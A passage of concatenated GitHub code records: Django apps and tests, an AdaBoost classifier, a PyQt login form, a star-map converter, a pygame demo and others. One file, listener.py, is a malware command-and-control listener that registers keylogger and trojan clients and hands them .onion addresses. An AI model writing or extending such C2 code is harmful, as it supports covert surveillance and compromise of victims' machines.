ret_dict\n\n\ndef get_uuid_from_map(target: str, uuid_map: dict) -> str:\n \"\"\"\n UUIDマップに対象が登録済みか調べる\n 未登録の場合は新たなUUIDを生成して返す。\n 登録済のみ���合は登録されているUUIDを返す\n \"\"\"\n for key, value in uuid_map.items():\n if value == target:\n return key\n return get_uuid()\n\n\ndef main(target_dir_path, output_dir_path) -> int:\n\n # 対象ディレクトリの全ファイル・ディレクトリを取得\n targets = get_all_file_dir(target_dir_path)\n\n if len(targets) == 0:\n print(\"The target object does not exist.\")\n return 0\n\n # UUIDとファイル・ディレクトリのマッピング\n uuid_map = {}\n\n # 全ファイル数分ループ\n for target in targets:\n\n target = target.rstrip(os.sep)\n\n if (target == target_dir_path):\n # オブジェクトファイルを作成(ルート用)\n uuid_map = create_object_file(\n output_dir_path=output_dir_path,\n target=target,\n uuid_map=uuid_map,\n uuid=ROOT_DIR_UUID\n )\n continue\n\n # オブジェクトファイルを作成\n # 既に登録済の場合はマップからUUIDを取得\n uuid_map = create_object_file(\n output_dir_path=output_dir_path,\n target=target,\n uuid_map=uuid_map,\n uuid=get_uuid_from_map(target=target, uuid_map=uuid_map),\n is_dir=os.path.isdir(target)\n )\n\n return 0\n\n\nif __name__ == '__main__':\n \"\"\"\n 第1引数:対象ディレクトリまでの絶対パス\n 例:/home/kawa/test\n C:\\\\kawa\\\\test\n 第2引数:出力先ディレクトリまでの絶対パス\n 例:/home/kawa/result\n c:\\\\kawa\\\\result\n \"\"\"\n\n AGRG_CNT = 3\n\n args = sys.argv\n\n # for TEST >>\n # args = []\n # args.append('dummy')\n # args.append(r\"C:\\_tmp\\brick\")\n # args.append(r\"C:\\_tmp\\result\")\n # for TEST <<\n\n if len(args) < AGRG_CNT:\n # パラメータ不足\n print(\"Parameters missing.\")\n sys.exit(0)\n\n target_dir_path = args[AGRG_CNT-2].rstrip(os.sep)\n output_dir_path = args[AGRG_CNT-1].rstrip(os.sep)\n\n if target_dir_path == output_dir_path:\n # 同じディレクトリは指定不可\n print(\"You can't specify the same directory\")\n sys.exit(0)\n\n if not os.path.exists(target_dir_path):\n # 対象ディレクトリが存在しない\n print(\"The target directory does not exist.\")\n sys.exit(0)\n\n # 出力先ディレクトリを作成\n if make_dir(output_dir_path) is False:\n print(\"Output directory create failed.\")\n sys.exit(0)\n\n # 処理開始\n ret = main(target_dir_path, output_dir_path)\n\n sys.exit(ret)\n","repo_name":"mtk57/PublicMemo","sub_path":"Python/Lib/src/s3_test/s3_object_creator.py","file_name":"s3_object_creator.py","file_ext":"py","file_size_in_byte":5607,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"5295529098","text":"from datetime import datetime, timedelta\nfrom django.utils.timezone import now\nfrom django.test import TestCase\nfrom models import GroupSubscriptionCoupon\nfrom publet.groups.models import Group\n\n\nclass CouponTest(TestCase):\n\n def test_expiry(self):\n g = Group.objects.create(name='group')\n\n tz = now().tzinfo\n expiry = datetime(2013, 1, 1, 14, 0, 0, tzinfo=tz)\n\n c = GroupSubscriptionCoupon.objects.create(\n expires=expiry,\n group=g,\n new_price=12\n )\n\n self.assertTrue(c.is_expired)\n\n expiry = now() + timedelta(days=365 * 10)\n c.expires = expiry\n c.save()\n\n self.assertFalse(c.is_expired)\n\n c.expires = None\n c.save()\n self.assertFalse(c.is_expired)\n","repo_name":"publet/publet-server","sub_path":"publet/payments/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"4788326735","text":"from django.shortcuts import render\nfrom django.shortcuts import HttpResponse\nfrom .models import *\n# Create your views here.\n\n\ndef home(request):\n \n popularblogs = popularblog.objects.all()\n context = {'popularBlogs': popularblogs, 'name':'Mr Ram', 'titles':'Home - IIMT Blogs'}\n return render(request, 'home.html', context)\n\n\ndef about(request):\n return render(request, 'about.html',{'titles':'About - IIMT Blogs'})\n\ndef contact(request):\n if request.method == 'POST':\n cname = request.POST['fullname']\n cemail = request.POST['emailadd'] \n cphone = request.POST['phone']\n caddress = request.POST['address']\n cmsg = request.POST['msg']\n \n if len(cname)>1 and len(cemail)>1 and len(cphone)==10 and len(caddress)>1 and len(cmsg)>1:\n \n \n contactobj = ContactUsTb(name=cname, email = cemail, phone=cphone,address = caddress,message = cmsg)\n contactobj.save()\n \n else:\n return render(request, 'contact.html', {'titles':'Contact - IIMT Blogs'})\n \n \n # return HttpResponse('your form submitted')\n \n return render(request,'contact.html',{'titles':'Contact - IIMT Blogs'} )\n\n\n\ndef view_blog(request,pk):\n \n viewBlog = popularblog.objects.get(pk = pk)\n return render(request, 'viewBlog.html',{'viewBlog':viewBlog,'titles':'viewBlogs - IIMT Blogs'})\n ","repo_name":"Manish8076/Blog-Webapp","sub_path":"pro1/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"13917508849","text":"#listen for the incomming connections and show the online clients\n\nfrom base64 import decode\nimport socket\nfrom _thread import *\n\n\ndef start_new_handler(connection_):\n Input = b'newonioncircuitfromhandler.onion'\n try:\n connection_.send(Input)\n except socket.error as e:\n print(\"inside handler\")\n print(str(e))\n print(\"error while sending url\\n\")\n\n\ndef start_new_sock_thread(connection):\n try:\n from_client_recv = connection.recv(2048)\n from_client_data = from_client_recv.decode(\"utf-8\")\n print(\"from_client -> \", from_client_data)\n if from_client_data == \"WIN-KYG\":\n print (\"Windows Keylogger client connected...\")\n Input = \"lajhljghlasjgjngsakjhurhtuhg.onion\"\n connection.send(str.encode(Input))\n connection.close()\n elif from_client_data == \"WIN-TRG\":\n print (\"Windows trogen client connected...\")\n Input = \"lajhljghlasjgjngsakjhurhtuhg.onion\"\n connection.send(str.encode(Input))\n connection.close()\n elif from_client_data == \"LIN-KYG\":\n print (\"Linux keylogger client connected...\")\n Input = \"lajhljghlasjgjngsakjhurhtuhg.onion\"\n connection.send(str.encode(Input))\n connection.close()\n elif from_client_data == \"LIN-TRG\":\n print (\"Linux trogen client connected...\\n\")\n print (\"calling handler...\\n\")\n try:\n start_new_thread(start_new_handler, (connection, ))\n except socket.error as e:\n print(\"inside listner\")\n print(str(e))\n print(\"handler executed...\\n\")\n connection.close()\n else:\n print(\"client connection closed at server end...\")\n connection.close()\n except socket.error as e:\n print (str(e))\n finally:\n connection.close()\n\ndef client_listener():\n HOST_IP = \"127.0.0.1\"\n HOST_PORT = 7070\n ThreadCount = 0\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n try:\n s.bind((HOST_IP, HOST_PORT))\n except socket.error as sock_error:\n print(str(sock_error))\n s.listen(100)\n while True:\n conn, addr = s.accept()\n print(\"Connected to : \" + addr[0] + \":\" ,str(addr[1]))\n start_new_thread(start_new_sock_thread, (conn, ))\n ThreadCount += 1\n print('Thread Number: ' + str(ThreadCount))\ndef main():\n\n client_listener()\n\nif __name__ == '__main__':\n main()\n","repo_name":"Sushink/anglerC2","sub_path":"listener.py","file_name":"listener.py","file_ext":"py","file_size_in_byte":2569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"27224637651","text":"import pickle\nimport numpy as np\n\n\nclass AdaBoostClassifier:\n '''A simple AdaBoost Classifier.'''\n\n def __init__(self, weak_classifier, n_weakers_limit):\n '''Initialize AdaBoostClassifier\n\n Args:\n weak_classifier: The class of weak classifier, which is recommend to be sklearn.tree.DecisionTreeClassifier.\n n_weakers_limit: The maximum number of weak classifier the model can use.\n '''\n self.weak_classifier = weak_classifier\n self.limit = n_weakers_limit\n\n self.weak_classifier_set = [] # the set saves all the weak classifiers\n self.alpha_total = [] # the set saves the alpha of all weak classifiers\n\n def is_good_enough(self):\n '''Optional'''\n pass\n\n def fit(self, X, y):\n '''Build a boosted classifier from the training set (X, y).\n\n Args:\n X: An ndarray indicating the samples to be trained, which shape should be (n_samples,n_features).\n y: An ndarray indicating the ground-truth labels correspond to X, which shape should be (n_samples,1).\n '''\n self.w = np.ones(X.shape[0]) / X.shape[0] # initialize parameter w\n\n for i in range(self.limit):\n classifier = self.weak_classifier.fit(X, y, self.w)\n self.weak_classifier_set.append(classifier)\n\n weak_predict = classifier.predict(X)\n error = np.sum(self.w * (weak_predict != y.reshape(-1, )))\n\n if error > 0.5:\n break\n\n alpha = 0.5 * np.log((1 - error)/error)\n\n self.alpha_total.append(alpha)\n\n z = np.multiply(self.w, np.exp(-self.alpha_total[i] * np.multiply(y.reshape(-1, ), weak_predict)))\n\n self.w = z / np.sum(z)\n\n return self\n\n def predict_scores(self, X):\n '''Calculate the weighted sum score of the whole base classifiers for given samples.\n\n Args:\n X: An ndarray indicating the samples to be predicted, which shape should be (n_samples,n_features).\n\n Returns:\n An one-dimension ndarray indicating the scores of differnt samples, which shape should be (n_samples,1).\n '''\n # initialize score\n score = np.zeros(X.shape[0])\n # prediction\n for i in range(self.limit):\n score += self.alpha_total[i]*self.weak_classifier_set[i].predict(X)\n return score\n\n def predict(self, X, threshold=0):\n '''Predict the catagories for given samples.\n\n Args:\n X: An ndarray indicating the samples to be predicted, which shape should be (n_samples,n_features).\n threshold: The demarcation number of deviding the samples into two parts.\n\n Returns:\n An ndarray consists of predicted labels, which shape should be (n_samples,1).\n '''\n # initialize y_predict\n y_predict = np.zeros(X.shape[0])\n score = self.predict_scores(X)\n # categorize into two classes\n y_predict[np.where(score > threshold)] = 1\n y_predict[np.where(score < threshold)] = -1\n return y_predict\n\n @staticmethod\n def save(model, filename):\n with open(filename, \"wb\") as f:\n return pickle.dump(model, f)\n\n @staticmethod\n def load(filename):\n with open(filename, \"rb\") as f:\n return pickle.load(f)\n","repo_name":"Pangxiaox/Machine-Learning-Lab","sub_path":"2019ML_Lab/Lab3/ensemble.py","file_name":"ensemble.py","file_ext":"py","file_size_in_byte":3337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"72639733811","text":"from ast import For\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom gui.hintBoard.HintBoard import HintBoard\nimport sys\nmainDbConfig = {}\n\n\nclass DBLoginWidget:\n isCheckBoxChecked = False\n hintFrame = None\n form = None\n ui_f = None\n\n def __init__(self, dbConfig) -> None:\n self.mainDbConfig = dbConfig\n\n # self.hintFrame.show()\n # print(self.mainDbConfig)\n pass\n\n def setupUi(self, Form):\n self.form = Form\n Form.setObjectName(\"Form\")\n Form.resize(447, 407)\n # 禁用最大化\n Form.setWindowFlags(\n QtCore.Qt.WindowCloseButtonHint)\n # 禁止拉伸窗口\n Form.setFixedSize(Form.width(), Form.height())\n # 标题\n # Form.setWindowTitle(\"连接向导\")\n self.label = QtWidgets.QLabel(Form)\n self.label.setGeometry(QtCore.QRect(0, 20, 451, 51))\n font = QtGui.QFont()\n font.setFamily(\"AcadEref\")\n font.setPointSize(20)\n self.label.setFont(font)\n self.label.setAlignment(QtCore.Qt.AlignCenter)\n self.label.setObjectName(\"label\")\n self.label_2 = QtWidgets.QLabel(Form)\n self.label_2.setGeometry(QtCore.QRect(20, 110, 121, 31))\n font = QtGui.QFont()\n font.setFamily(\"AcadEref\")\n font.setPointSize(10)\n self.label_2.setFont(font)\n self.label_2.setObjectName(\"label_2\")\n self.label_3 = QtWidgets.QLabel(Form)\n self.label_3.setGeometry(QtCore.QRect(20, 210, 121, 31))\n font = QtGui.QFont()\n font.setFamily(\"AcadEref\")\n font.setPointSize(10)\n self.label_3.setFont(font)\n self.label_3.setObjectName(\"label_3\")\n self.label_4 = QtWidgets.QLabel(Form)\n self.label_4.setGeometry(QtCore.QRect(20, 270, 121, 31))\n font = QtGui.QFont()\n font.setFamily(\"AcadEref\")\n font.setPointSize(10)\n self.label_4.setFont(font)\n self.label_4.setObjectName(\"label_4\")\n self.checkBox = QtWidgets.QCheckBox(Form)\n self.checkBox.setGeometry(QtCore.QRect(20, 320, 171, 16))\n self.checkBox.setObjectName(\"checkBox\")\n # self.\n # 连接按钮\n self.pushButton = QtWidgets.QPushButton(Form)\n self.pushButton.setGeometry(QtCore.QRect(60, 350, 101, 31))\n self.pushButton.setObjectName(\"pushButton\")\n self.pushButton.clicked.connect(self.onConfirmLinkClick)\n # 关闭按钮\n self.pushButton_2 = QtWidgets.QPushButton(Form)\n self.pushButton_2.setGeometry(QtCore.QRect(280, 350, 101, 31))\n self.pushButton_2.setObjectName(\"pushButton_2\")\n self.pushButton_2.clicked.connect(self.exitTheProcess)\n self.label_5 = QtWidgets.QLabel(Form)\n self.label_5.setGeometry(QtCore.QRect(300, 110, 51, 31))\n font = QtGui.QFont()\n font.setFamily(\"AcadEref\")\n font.setPointSize(10)\n self.label_5.setFont(font)\n self.label_5.setObjectName(\"label_5\")\n # ip输入框\n self.lineEdit = QtWidgets.QLineEdit(Form)\n self.lineEdit.setGeometry(QtCore.QRect(150, 110, 141, 31))\n self.lineEdit.setObjectName(\"lineEdit\")\n self.lineEdit.setPlaceholderText('请输入IP地址')\n self.lineEdit.setText(self.mainDbConfig['ip'])\n # 端口\n self.lineEdit_2 = QtWidgets.QLineEdit(Form)\n self.lineEdit_2.setGeometry(QtCore.QRect(340, 110, 81, 31))\n self.lineEdit_2.setObjectName(\"lineEdit_2\")\n self.lineEdit_2.setPlaceholderText('请输入端口')\n self.lineEdit_2.setText(self.mainDbConfig['port'])\n # 数据库账号\n self.lineEdit_3 = QtWidgets.QLineEdit(Form)\n self.lineEdit_3.setGeometry(QtCore.QRect(150, 210, 271, 31))\n self.lineEdit_3.setObjectName(\"lineEdit_3\")\n self.lineEdit_3.setPlaceholderText(\"请输入账号\")\n self.lineEdit_3.setText(self.mainDbConfig['user'])\n # 数据库密码\n self.lineEdit_4 = QtWidgets.QLineEdit(Form)\n self.lineEdit_4.setGeometry(QtCore.QRect(150, 270, 271, 31))\n self.lineEdit_4.setEchoMode(QtWidgets.QLineEdit.Password)\n self.lineEdit_4.setObjectName(\"lineEdit_4\")\n self.lineEdit_4.setPlaceholderText(\"请输入密码\")\n self.lineEdit_4.setText(self.mainDbConfig['password'])\n\n # 数据库名\n self.lineEdit_5 = QtWidgets.QLineEdit(Form)\n self.lineEdit_5.setGeometry(QtCore.QRect(150, 160, 271, 31))\n self.lineEdit_5.setObjectName(\"lineEdit_5\")\n self.lineEdit_5.setText(self.mainDbConfig['dbname'])\n self.label_6 = QtWidgets.QLabel(Form)\n self.label_6.setGeometry(QtCore.QRect(20, 160, 121, 31))\n font = QtGui.QFont()\n font.setFamily(\"AcadEref\")\n font.setPointSize(10)\n self.label_6.setFont(font)\n self.label_6.setObjectName(\"label_6\")\n self.retranslateUi(Form)\n QtCore.QMetaObject.connectSlotsByName(Form)\n\n def retranslateUi(self, Form):\n _translate = QtCore.QCoreApplication.translate\n Form.setWindowTitle(_translate(\"Form\", \"连接向导\"))\n self.label.setText(_translate(\"Form\", \"请输入数据库配置\"))\n self.label_2.setText(_translate(\"Form\", \"主数据库服务器IP:\"))\n self.label_3.setText(_translate(\"Form\", \"管理账号:\"))\n self.label_4.setText(_translate(\"Form\", \"密码:\"))\n self.checkBox.setText(_translate(\"Form\", \"保存信息到配置文件\"))\n self.pushButton.setText(_translate(\"Form\", \"连接\"))\n self.pushButton_2.setText(_translate(\"Form\", \"关闭\"))\n self.label_5.setText(_translate(\"Form\", \"端口:\"))\n self.label_6.setText(_translate(\"Form\", \"数据库名:\"))\n\n self.hintFrame = QtWidgets.QFrame()\n self.ui_f = HintBoard()\n self.ui_f.setupUi(self.hintFrame, self.form)\n # 关闭主程序事件(退出\n\n def exitTheProcess(self):\n sys.exit(0)\n\n # 确定连接?\n def onConfirmLinkClick(self):\n dbConfig = {}\n dbConfig['dbHost'] = self.lineEdit.text()\n dbConfig['port'] = self.lineEdit_2.text()\n dbConfig['dbName'] = self.lineEdit_5.text()\n dbConfig['dbUser'] = self.lineEdit_3.text()\n dbConfig['dbPass'] = self.lineEdit_4.text()\n\n self.hintFrame.setWindowModality(QtCore.Qt.ApplicationModal)\n self.hintFrame.show()\n self.ui_f.setLoopText(dbConfig)\n # _thread.start_new_thread(self.setLoopText, ())\n # self.ui_f.onMainDbLink(dbConfig, self.hintFrame)\n # print(dbConfig)\n # print()\n # self.isCheckBoxChecked = se\n","repo_name":"yaoqiwood/Gwb_local_Replenishment_QueryView","sub_path":"gui/dbLoginWidget/DBLoginWidget.py","file_name":"DBLoginWidget.py","file_ext":"py","file_size_in_byte":6024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"1360128860","text":"import sys\nimport os\nimport csv\nimport traceback\n\nfrom argparse import ArgumentParser\n\n__all__ = []\n__version__ = 0.1\n__date__ = '2018-04-19'\n__updated__ = '2018-04-19'\n\nDEBUG = 0\nTESTRUN = 0\nPROFILE = 0\n\ndef starMagnitude(star):\n return float(star[\"mag\"])\n\ndef main(argv=None):\n '''Command line options.'''\n\n program_name = os.path.basename(sys.argv[0])\n program_version = __version__\n program_build_date = \"%s\" % __updated__\n\n program_longdesc = \"Convert HYG Star locations & magnitudes into OpenSCAD arrays\"\n program_license = \"Copyright 2018 Alastair D'Silva \\\n Licensed under the Gnu Public License 3.0\\nhttps://www.gnu.org/licenses/gpl-3.0.en.html\"\n\n if argv is None:\n argv = sys.argv[1:]\n try:\n # setup option parser\n parser = ArgumentParser(description=program_longdesc, epilog=program_license)\n parser.add_argument(\"-i\", \"--in\", nargs=1, dest=\"infile\", help=\"set input path\", metavar=\"FILE\")\n parser.add_argument(\"-o\", \"--out\", nargs=1, dest=\"outfile\", help=\"set output path \", metavar=\"FILE\")\n\n # set defaults\n parser.set_defaults(outfile=\"starmap.scad\", infile=\"HYG-Database/hygdata_v3.csv\")\n\n # process options\n args = parser.parse_args(argv)\n\n print(\"Input = %s\" % args.infile)\n print(\"Output = %s\" % args.outfile)\n\n # MAIN BODY #\n stars = []\n\n with open(args.infile, newline='') as csvfile:\n stars_reader = csv.DictReader(csvfile, delimiter = ',')\n for star in stars_reader:\n stars.append(star)\n\n print(\"Read {} stars\".format(len(stars)))\n\n stars.sort(key=starMagnitude)\n count = 0\n outCount = 0\n\n with open(args.outfile, \"w+\") as scadfile:\n scadfile.write(\"// Stars contain Right Ascension, Declination, Apparent Magnitude, sorted by apparent magnitude\\n\")\n scadfile.write(\"stars = [\\n\")\n starCount = len(stars)\n for star in stars:\n count = count + 1\n if star[\"proper\"] != \"Sol\" and float(star[\"mag\"]) <= 6.5:\n if outCount > 0:\n scadfile.write(\",\")\n scadfile.write(\"\\n\\t[{}, {}, {}]\".format(star[\"ra\"], star[\"dec\"], star[\"mag\"]))\n outCount = outCount + 1\n scadfile.write(\"\\n];\\n\")\n\n print(\"Wrote {} visible stars to {}\".format(outCount, args.outfile))\n\n except Exception as e:\n indent = len(program_name) * \" \"\n sys.stderr.write(program_name + \": \" + repr(e) + \"\\n\")\n traceback.print_exc(e)\n return 2\n\n\nif __name__ == \"__main__\":\n if TESTRUN:\n import doctest\n doctest.testmod()\n if PROFILE:\n import cProfile\n import pstats\n profile_filename = '_profile.txt'\n cProfile.run('main()', profile_filename)\n statsfile = open(\"profile_stats.txt\", \"wb\")\n p = pstats.Stats(profile_filename, stream=statsfile)\n stats = p.strip_dirs().sort_stats('cumulative')\n stats.print_stats()\n statsfile.close()\n sys.exit(0)\n sys.exit(main())\n\n","repo_name":"InfernoEmbedded/planetarium","sub_path":"OpenSCAD-Converter.py","file_name":"OpenSCAD-Converter.py","file_ext":"py","file_size_in_byte":3186,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"20"} +{"seq_id":"26150768137","text":"import pygame\nfrom pygame.locals import * \nimport sys\n#初始化pygame\npygame.init()\nsize = width,height=600,400\nbg = (255,255,255)#RGB\nfullscreen = False\n#创建指定大小的窗口Surface\nscreen = pygame.display.set_mode(size)\n#设置窗口标题\npygame.display.set_caption('测试一下')\n#加载图片\n#设置放大缩小的比例\nratio = 1.0\noturtle = pygame.image.load('111.png').convert_alpha()#设置png格式的alpha通道透明度\nturtle = oturtle\noturtle_rect = oturtle.get_rect()\nspeed = [5,0]\nturtle_right = pygame.transform.rotate(turtle,90)#设置逆时针旋转角度90\nturtle_top = pygame.transform.rotate(turtle,180)\nturtle_left = pygame.transform.rotate(turtle,270)\nturtle_bottom = turtle\nturtle = turtle_top\nposition = turtle_rect=oturtle_rect\nl_head = turtle\nr_head = pygame.transform.flip(turtle,True,False)\nwhile True:\n for event in pygame.event.get():\n if event.type ==pygame.QUIT:\n sys.exit()\n if event.type==pygame.KEYDOWN:\n #全屏F11\n if event.key == K_F11:\n fullscreen = not fullscreen\n if fullscreen:\n screen = pygame.display.set_mode((1920,1080),FULLSCREEN | HWSURFACE)#hwsurface是硬件加速,分辨率可以用pygame.display.list_modes()查看,第0项是分辨率最大值\n \n else:\n screen = pygame.display.set_mode(size)\n #放大缩小乌龟(=,-),空格键恢复原始大小\n if event.key == K_EQUALS or event.key== K_MINUS or event.key == K_SPACE:\n #最大只能够放大一倍,缩小只能到50%\n if event.key == K_EQUALS and ratio <2:\n ratio += 0.1\n if event.key ==K_MINUS and ratio >0.5:\n ratio -= 0.1\n if event.key==K_SPACE:\n ratio = 1.0\n turtle = pygame.transform.smoothscale(oturtle,\n (int(oturtle_rect.width *ratio),\n int(oturtle_rect.height*ratio)))\n \n #用户调整窗口的尺寸\n if event.type == VIDEORESIZE:\n size = event.size\n width,height = size\n print(size)\n screen = pygame.display.set_mode(size,RESIZABLE)\n \n #移动图像\n position = position.move(speed)\n if position.right >width:\n turtle = turtle_right\n position =turtle_rect = turtle.get_rect()\n position.left = width - turtle_rect.width\n speed= [0,5] \n if position.bottom >height:\n turtle = turtle_bottom\n position = turtle_rect = turtle.get_rect()\n position.left = width - turtle_rect.width\n position.top =height- turtle_rect.height\n speed = [-5,0]\n if position.left<0:\n turtle = turtle_left\n position = turtle_rect=turtle.get_rect()\n position.top = height - turtle_rect.height\n speed = [0,-5]\n if position.top<0:\n turtle = turtle_top\n position = turtle_rect = turtle.get_rect()\n speed = [5,0]\n \n #填充背景\n screen.fill(bg)\n #更新图像\n screen.blit(turtle,position)\n #更新界面\n pygame.display.flip()\n #延迟10毫秒\n pygame.time.delay(10)\n #此外pygame还提供了修改帧率的方法:如, clock.tick(200),已达到延时目的\n","repo_name":"pandora2333/python","sub_path":"pygame1.py","file_name":"pygame1.py","file_ext":"py","file_size_in_byte":3482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"71998862451","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, print_function\nfrom pkg_resources import parse_version\nimport click\nimport requests\nfrom requests.exceptions import ConnectionError, ConnectTimeout\nfrom pyuptools import __version__\n\n\n@click.group()\n@click.version_option(__version__, '-v', '--version')\ndef cli(): # pragma: no cover\n pass\n\n@click.command()\n@click.version_option(__version__, '-v', '--version')\n@click.option('--server', prompt='Index Server', help='')\n@click.option('--pkg', prompt='Package', help='')\ndef devpi(server, pkg):\n url = \"\".join([server, pkg]) if server.endswith(\"/\") else \"/\".join([server, pkg])\n headers = {\"Accept\": \"application/json\"}\n click.secho(\"Requesting {}\".format(url))\n try:\n r = requests.get(url, headers=headers)\n except (ConnectionError, ConnectTimeout):\n click.secho(\"Error: Unable to connect\", fg=\"red\")\n return\n\n try:\n json = r.json()\n except ValueError:\n click.secho(\"Error: Unable to parse JSON\", fg=\"red\")\n return\n\n try:\n versions = sorted(json[\"result\"].keys(), key=lambda v: parse_version(v), reverse=True)\n except KeyError:\n click.secho(\"Error: The returned JSON contains no result.\", fg=\"red\")\n click.secho(\"Expected: {'result': {..}}, returned: %s\" % json, fg=\"blue\")\n return\n\n # filter out versions that are greater than 100 chars\n versions = [v for v in versions if len(v) < 100]\n click.secho(\"Success\", fg=\"green\")\n click.secho(\"Parsed versions: {}\".format(versions))\ncli.add_command(devpi)\n\nif __name__ == '__main__':\n cli()\n","repo_name":"pyupio/pyup-tools","sub_path":"pyuptools/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":1614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"31810076216","text":"\"\"\"\nHere we have tests for getting sends of an email-campaign\n\"\"\"\n# Third Party\nimport pytest\nimport requests\n\n# Application Specific\nfrom ..conftest import GRAPHQL_BASE_URL\nfrom email_campaign_service.common.utils.handy_functions import send_request\nfrom email_campaign_service.common.tests.fake_testing_data_generator import fake\nfrom email_campaign_service.common.campaign_services.tests_helpers import CampaignsTestsHelpers\nfrom email_campaign_service.common.models.email_campaign import EmailCampaign, EmailCampaignSend\n\n__author__ = 'basit'\n\n\n@pytest.mark.skipif(True, reason='graphQL has low priority for now')\nclass TestCampaignSends(object):\n \"\"\"\n This contains tests to get sends of an email-campaign\n \"\"\"\n expected_campaign_sends = 2\n expected_fields_list = EmailCampaignSend.get_fields()\n query_string = \"query{email_campaign_query{sends(campaign_id:%s){edges{node{%s}}}}}\" \\\n % ('%d', ' '.join(expected_fields_list))\n\n def test_get_sends_without_auth_header(self):\n \"\"\"\n Test to get campaign sends without auth header. It should get 'error' in JSON response.\n \"\"\"\n query = {'query': self.query_string % fake.random_int()}\n response = requests.get(GRAPHQL_BASE_URL, data=query)\n assert response.status_code == requests.codes.ok\n assert response.json()['errors']\n\n def test_get_with_no_campaign_sent(self, access_token_first, email_campaign_user1_domain1_in_db):\n \"\"\"\n Here we are assuming that email campaign has not been sent to any candidate. Sends count should be 0.\n \"\"\"\n expected_sends = 0\n query = {'query': self.query_string % email_campaign_user1_domain1_in_db.id}\n response = send_request('get', GRAPHQL_BASE_URL, access_token_first, data=query)\n assert response.status_code == requests.codes.ok\n assert 'errors' not in response.json()\n sends_edges = response.json()['data']['email_campaign_query']['sends']['edges']\n assert len(sends_edges) == expected_sends\n\n def test_get_sends_with_valid_data(self, access_token_first, access_token_same, sent_campaign):\n \"\"\"\n Test to get sends of an email-campaign created by logged-in user with auth header. It should not get any\n error. It also gets sends by some other user of same domain. Total number of sends should be 2.\n \"\"\"\n CampaignsTestsHelpers.assert_blast_sends(sent_campaign, self.expected_campaign_sends)\n query = {'query': self.query_string % sent_campaign.id}\n for access_token in (access_token_first, access_token_same):\n response = send_request('get', GRAPHQL_BASE_URL, access_token, data=query)\n assert response.status_code == requests.codes.ok\n assert 'errors' not in response.json()\n sends_edges = response.json()['data']['email_campaign_query']['sends']['edges']\n assert len(sends_edges) == self.expected_campaign_sends\n for blast_edge in sends_edges:\n for expected_field in self.expected_fields_list:\n assert expected_field in blast_edge['node'], '%s not present in response' % expected_field\n assert blast_edge['node']['campaign_id'] == sent_campaign.id\n\n def test_get_sends_from_other_domain(self, access_token_other, sent_campaign):\n \"\"\"\n Test to get sends by user of some other domain. It should not get any sends.\n \"\"\"\n CampaignsTestsHelpers.assert_blast_sends(sent_campaign, self.expected_campaign_sends)\n query = {'query': self.query_string % sent_campaign.id}\n response = send_request('get', GRAPHQL_BASE_URL, access_token_other, data=query)\n assert response.status_code == requests.codes.ok\n assert 'errors' in response.json()\n assert response.json()['data']['email_campaign_query']['sends'] is None\n\n def test_get_sends_with_not_owned_campaign(self, access_token_other, email_campaign_user1_domain1_in_db):\n \"\"\"\n Test to get sends of a campaign which does not exists in user's domain. It should not get any sends.\n \"\"\"\n query = {'query': self.query_string % email_campaign_user1_domain1_in_db.id}\n response = send_request('get', GRAPHQL_BASE_URL, access_token_other, data=query)\n assert response.status_code == requests.codes.ok\n assert 'errors' in response.json()\n assert response.json()['data']['email_campaign_query']['sends'] is None\n\n def test_get_non_existing_campaign(self, access_token_first):\n \"\"\"\n Test to get sends of non-existing email-campaign. It should not get any campaign.\n \"\"\"\n query = {'query': self.query_string % CampaignsTestsHelpers.get_non_existing_id(EmailCampaign)}\n response = send_request('get', GRAPHQL_BASE_URL, access_token_first, data=query)\n assert response.status_code == requests.codes.ok\n assert 'errors' in response.json()\n assert response.json()['data']['email_campaign_query']['sends'] is None\n","repo_name":"josepharceneaux/ecs-stuff","sub_path":"email_campaign_service/tests/graphql_api_tests/test_campaign_sends.py","file_name":"test_campaign_sends.py","file_ext":"py","file_size_in_byte":5038,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"27984336698","text":"from math import sqrt\nfrom collections import Counter\n\ndef isPrime(value):\n\tfor i in range(2, int(sqrt(value))):\n\t\tif value % i == 0:\n\t\t\treturn False\n\treturn True\n\ndef getPrimeFactorList(value):\n\tresult = []\n\tprime = 2\n\twhile (value != 1):\n\t\twhile not isPrime(prime) or value % prime != 0:\n\t\t\tprime += 1\n\t\tresult.append(prime)\n\t\tvalue //= prime\n\treturn result\n\nnum = 1\nvalue = 2\nwhile True:\n\tnum += value\n\tvalue += 1\n\tlst = getPrimeFactorList(num)\n\tdct = Counter(lst)\n\tfactorCount = 1\n\tfor val in dct.values():\n\t\tfactorCount *= (val + 1)\n\tif factorCount + 1 >= 500:\n\t\tprint(num)\n\t\tbreak\n\n","repo_name":"vietanhtran2710/projectEuler","sub_path":"highlyDivisibleTriangularNumber.py","file_name":"highlyDivisibleTriangularNumber.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"74404969650","text":"python_words={'list': 'A collection of values that are not connected, but have an order.',\n 'dictionary':'A collection of key-value pairs.',\n 'function':'A named set of instructions that defines a set of actions in Python'}\n\nprint('dictionary:' + python_words['dictionary'])\n\n#Clarify one of the 